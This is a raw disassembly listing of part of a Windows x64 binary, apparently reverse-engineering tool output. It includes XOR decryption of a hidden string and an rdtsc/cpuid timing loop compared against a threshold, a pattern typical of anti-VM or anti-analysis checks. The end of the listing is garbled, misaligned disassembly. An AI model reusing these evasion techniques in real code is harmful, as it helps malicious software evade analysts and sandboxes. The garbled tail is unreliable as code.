lea r15, [rbx + 8]
jmp 0x14007c119
add r15, 0x18
dec rdi
je 0x14007c133
cmp qword [r15 - 8], 0
je 0x14007c110
mov r8, qword [r15]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007c110
test r14, r14
je 0x14007c149
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
test rbp, rbp
je 0x14007c171
mov rdi, rsi
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.14007d2a0
add rdi, 0x30
dec rbp
jne 0x14007c160
test r12, r12
je 0x14007c187
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xc0]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x1401e7e08]
lea rsi, [rsp + 0x200]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400c8ab0
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x50], rax
lea rax, [0x1401a56ef]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xe7cdfd0711382acb
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007ced0
movabs rcx, 0x192047c9710a0248
xor rcx, qword [rax]
movabs rdx, 0xcb0abea72af48b85
xor rdx, qword [rax + 8]
movabs r8, 0x428c119a071c09c8
xor r8, qword [rax + 0x10]
mov r9d, 0xd7590965
xor r9d, dword [rax + 0x18]
movzx r10d, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
mov r11d, eax
shr r11d, 8
xor al, 0xbf
xor r11b, 0x99
movzx eax, al
movzx r11d, r11b
shl r11d, 8
or r11d, eax
xor r10b, 0xcf
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov dword [rsp + 0xf8], r9d
mov word [rsp + 0xfc], r11w
mov byte [rsp + 0xfe], r10b
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0xe0]
mov r9d, 0x1f
call fcn.140089230
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
mov r14, qword [rsp + 0x208]
mov rsi, qword [rsp + 0x210]
mov rbx, qword [rsp + 0x218]
test rbx, rbx
je 0x14007c2f1
mov rdi, rsi
mov r15, rbx
mov rcx, rdi
call fcn.14007d2a0
add rdi, 0x30
dec r15
jne 0x14007c2e0
test r14, r14
je 0x14007c307
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp rbx, 2
jb case.0x140079830.0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 8
mov qword [rsp + 0x210], 0
mov r8d, 8
mov r13d, 0x6e
lea rsi, [rsp + 0x200]
xor edi, edi
jmp 0x14007c391
shl r14, 0x20
or rbx, r14
shl r12, 0x20
or r15, r12
sub r15, rbx
mov qword [r8 + rdi*8], r15
mov rdi, qword [rsp + 0x210]
inc rdi
mov qword [rsp + 0x210], rdi
dec r13
je 0x14007c418
rdtsc
mov r14, rdx
mov rbx, rax
xor ecx, ecx
xor eax, eax
mov r9, rbx
cpuid
xchg rbx, r9
mov dword [rsp + 0xe0], eax
mov dword [rsp + 0xe4], r9d
mov dword [rsp + 0xe8], ecx
mov dword [rsp + 0xec], edx
rdtsc
mov r12, rdx
mov r15, rax
cmp rdi, qword [rsp + 0x200]
jne 0x14007c360
mov rcx, rsi
mov rdx, rdi
call fcn.140080920
mov r8, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x210]
jmp 0x14007c360
cmp qword [rsp + 0xa8], 0
je case.0x140079830.0
lea rax, [rsp + 0xa0]
jmp 0x140079849
mov sil, 1
jmp 0x14007bd0d
mov eax, dword [rsp + 0xec]
mov eax, dword [rsp + 0xe8]
mov eax, dword [rsp + 0xe0]
mov eax, dword [rsp + 0xe4]
mov rsi, qword [rsp + 0x208]
test rdi, rdi
je 0x14007c44b
bsr rax, rdi
xor rax, 0x3f
jmp 0x14007c450
mov eax, 0x40
mov ecx, 0x40
sub ecx, eax
mov dword [rsp + 0x20], ecx
lea r8, [rsp + 0x50]
mov rcx, rsi
mov rdx, rdi
xor r9d, r9d
call fcn.14007f6e0
cmp rdi, 0x68
jbe 0x14007c751
movdqu xmm0, xmmword [rsi + 0x28]
movdqu xmm1, xmmword [rsi + 0x38]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x48]
movdqu xmm2, xmmword [rsi + 0x58]
paddq xmm2, xmm0
paddq xmm2, xmm1
movdqu xmm0, xmmword [rsi + 0x68]
movdqu xmm1, xmmword [rsi + 0x78]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x88]
paddq xmm0, xmm1
paddq xmm0, xmm2
movdqu xmm1, xmmword [rsi + 0x98]
movdqu xmm2, xmmword [rsi + 0xa8]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0xb8]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0xc8]
paddq xmm2, xmm1
paddq xmm2, xmm0
movdqu xmm0, xmmword [rsi + 0xd8]
movdqu xmm1, xmmword [rsi + 0xe8]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0xf8]
paddq xmm0, xmm1
movdqu xmm1, xmmword [rsi + 0x108]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x118]
paddq xmm0, xmm1
paddq xmm0, xmm2
movdqu xmm1, xmmword [rsi + 0x128]
movdqu xmm2, xmmword [rsi + 0x138]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0x148]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0x158]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0x168]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0x178]
paddq xmm2, xmm1
paddq xmm2, xmm0
movdqu xmm0, xmmword [rsi + 0x188]
movdqu xmm1, xmmword [rsi + 0x198]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x1a8]
paddq xmm0, xmm1
movdqu xmm1, xmmword [rsi + 0x1b8]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x1c8]
paddq xmm0, xmm1
movdqu xmm1, xmmword [rsi + 0x1d8]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x1e8]
paddq xmm0, xmm1
paddq xmm0, xmm2
movdqu xmm1, xmmword [rsi + 0x1f8]
movdqu xmm2, xmmword [rsi + 0x208]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0x218]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0x228]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0x238]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0x248]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0x258]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0x268]
paddq xmm2, xmm1
paddq xmm2, xmm0
movdqu xmm0, xmmword [rsi + 0x278]
movdqu xmm1, xmmword [rsi + 0x288]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x298]
paddq xmm0, xmm1
movdqu xmm1, xmmword [rsi + 0x2a8]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x2b8]
paddq xmm0, xmm1
movdqu xmm1, xmmword [rsi + 0x2c8]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x2d8]
paddq xmm0, xmm1
movdqu xmm1, xmmword [rsi + 0x2e8]
paddq xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x2f8]
paddq xmm0, xmm1
paddq xmm0, xmm2
movdqu xmm1, xmmword [rsi + 0x308]
movdqu xmm2, xmmword [rsi + 0x318]
paddq xmm2, xmm1
movdqu xmm1, xmmword [rsi + 0x328]
paddq xmm1, xmm2
movdqu xmm2, xmmword [rsi + 0x338]
paddq xmm2, xmm1
paddq xmm2, xmm0
pshufd xmm0, xmm2, 0xee
paddq xmm0, xmm2
movq rsi, xmm0
cmp qword [rsp + 0x200], 0
je 0x14007c6e9
mov r8, qword [rsp + 0x208]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp rsi, 0x24a53
ja case.0x140079830.0
xor eax, eax
jmp 0x14007bcc3
mov esi, 8
jmp 0x14007c736
movq rsi, xmm0
test r13, r13
je 0x14007c731
mov rdi, rsi
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.14007d2a0
add rdi, 0x30
dec r13
jne 0x14007c720
movdqa xmm6, xmm9
movq rax, xmm6
test rax, rax
je 0x14007c751
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
ud2
lea edx, [0x14018e7f4]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
ror byte [rdi], 0x94
ror byte [rax - 0x7d], 0xc4
sub bl, al
ret
ret
xor eax, eax
add rsp, 0x28
ret
add al, 0x75
cmc
jmp case.0x14007b9e0.15
add eax, 0xf5e9ed75
add byte [rax], al
add byte [rcx - 0x7d], al
cmp r8d, 6
xchg esp, eax
rol dword [rax + 0xf00017a], 0x95
sal byte [rax], 0xc8
add rsp, 0x28
ret
movzx eax, word [rcx + 2]
cmp ax, word [rdx + 2]
sete al
add rsp, 0x28
ret
mov rax, qword [rcx + 8]
cmp rax, qword [rdx + 8]
sete al
add rsp, 0x28
ret
add byte [rcx - 0x7d], al
clc
adc byte [rdi], cl
test dword [rdx - 1], ebp
invalid
mov al, byte [rax]
add byte [rax], al
cmp r8d, 3
jne case.default.0x14007c787
jmp 0x14007c8ab
ret 0x441
or byte [r8], al
movq rax, xmm0
and eax, 1
add rsp, 0x28
ret
dec dword [rdi]
mov dh, 0x41
add dword [rdx], edi
add dword [rdi], ecx
xchg esp, eax
ror byte [rax - 0x7d], 0xc4
sub bl, al
movzx eax, byte [rcx + 1]
cmp al, byte [rdx + 1]
sete al
add rsp, 0x28
ret
cmp r8d, 0xc
jne case.default.0x14007c787
invalid
invalid
invalid
mov eax, dword [rcx + 4]
cmp eax, dword [rdx + 4]
sete al
add rsp, 0x28
ret